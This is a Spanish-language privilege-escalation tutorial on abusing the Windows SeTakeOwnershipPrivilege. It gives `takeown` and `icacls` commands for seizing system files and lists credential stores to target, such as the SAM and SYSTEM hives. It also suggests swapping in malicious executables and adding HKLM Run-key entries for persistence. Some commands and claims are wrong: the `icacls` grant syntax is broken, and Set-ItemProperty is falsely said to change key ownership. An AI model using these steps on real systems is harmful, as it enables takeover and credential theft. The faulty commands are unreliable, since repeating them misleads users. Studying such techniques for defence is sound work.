SeTakeOwnershipPrivilege
SeTakeOwnershipPrivilege es un privilegio de Windows que permite a los usuarios tomar posesión de objetos, como archivos, carpetas claves de registro, incluso sin permisos explícitos. Una vez toma la propiedad, el usuario puede modificar los permisos del objeto para obtener control total, eludiendo así las restricciones de acceso.
Podemos utilizar el comando whoami /priv
para comprobar si el privilegio SeTakeOwnershipPrivilege
esta habilitado.
Explotación del privilegio SeTakeOwnershipPrivilege
.
Si un usuario tiene el privilegio SeTakeOwnershipPrivilege
, puede tomar el control de objetos sensibles, como archivos del sistema o procesos críticos y modificar sus permisos para obtener acceso o ejecutar comandos arbitrarios. A continuación, se explica cómo abusar de este privilegio para escalar privilegios.
PS C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================================= ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
Si el privilegio está deshabilitado, podemos habilitarlo usando este script Enable-Privilege.ps1.
PS C:\temp> Import-Module .\Enable-Privilege.ps1
PS C:\temp> .\EnableAllTokenPrivs.ps1
PS C:\temp> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== =======
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
Toma de propiedad de archivos o directorios
SeTakeOwnershipPrivilege
permite cambiar la propiedad de un archivo o directorio, lo que permite modificar o acceder a archivos restringidos. Tras tomar posesión, puede modificar su Lista de Control de Acceso Discrecional (DACL) para obtener control total.
Pasos para explotar SeTakeOwnershipPrivilege
en archivos:
- Tomar propiedad de un archivo o directorio:
Utilizamos el comando takeown
para tomar propiedad de un archivo o directorio.
takeown /F <file_or_directory>
Ejemplo:
takeown /F C:\Windows\System32\drivers\etc\hosts
Este comando cambia la propiedad del archivo especificado a la cuenta del usuario actual.
- Conceder control total sobre el archivo:
Después de tomar propiedad, modificamos los permisos del archivo usando el comando icacls
para otorgarnos propiedad total.
icacls <file_or_folder> /grant /<username>:F
Ejemplo:
icacls C:\Windows\System32\drivers\etc\hosts /grant /<username>:F
-
/grant
Otorga control total (F) sobre el archivo al usuario especificado. -
Modificar o acceder al archivo:
Tras obtener control total, podemos editar, eliminar o acceder al archivo según sea necesario.
Por ejemplo, podemos modificar archivos confidenciales del sistema como hosts
, o incluso reemplazar ejecutables del sistema por otros maliciosos para obtener privilegios de nivel de SYSTEM.
Algunos archivos locales de interés pueden incluir:
c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
Toma de propiedad de las claves de registro
También podemos utilizar SeTakeOwnershipPrivilege
para modificar la propiedad y los permisos de claves de registro críticas, lo que permite aumentar los privilegios.
Pasos para explotar claves de registro:
-
Tomar propiedad de una clave de registro:
Utilizamos
regedit
oPowershell
para cambiar la propiedad de una clave de registro. Podemos asumir la propiedad de claves confidenciales, como las relacionadas con cuentas de usuarios, servicios o configuraciones de inicio.Ejemplo en Powershell:
powershell Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "<key>" -Value "<value>"
Esto cambia la propiedad de la clave, lo que permite modificar la configuración de inicio u otras configuraciones críticas.
-
Modificar permisos:
Tras asumir la propiedad, modificamos los permisos para obtener control total. Ahora podemos modificar los valores de la clave para ejecutar código malicioso, iniciar servicios con privilegios de SYSTEM o agregar nuevas entradas de inicio.